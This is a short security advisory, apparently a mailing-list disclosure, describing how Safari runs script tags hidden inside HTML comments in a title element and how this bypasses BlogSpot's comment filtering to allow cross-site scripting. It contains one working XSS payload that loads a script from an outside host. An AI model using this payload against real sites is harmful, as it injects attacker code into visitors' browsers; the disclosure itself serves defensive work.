  Apple Safari / Konqueror SCRIPT tag filtering bypass

From:Jose Avila III <jose_(at)_onzra.com>

Subject:Safari Improperly Parses HTML Documents & BlogSpot XSS vulnerability

Overview:

Safari on occasions may improperly parse the source of an HTML  
document, which can lead to the execution of html tags within  
comments. This can become dangerous when input filters allow html  
tags within comments, as they will get parsed and executed under  
certain circumstances.

Details:

In some cases you can cause Apple’s Safari browser to execute code  
when it should not be executed. In the following example everything  
within the comment, in theory should never be executed; however,  
safari decides to execute the script tag.

<title>myblog<!--</title></head><body><script src=http://beanfuzz.com/
bean.js> --></title>

Blogs hosted on BlogSpot.com have filter mechanisms for their input;  
however, they will allow you to inject anything within comments. This  
made it possible to cross site script blogspot.com. Note: Only Safari  
viewers will be affected.
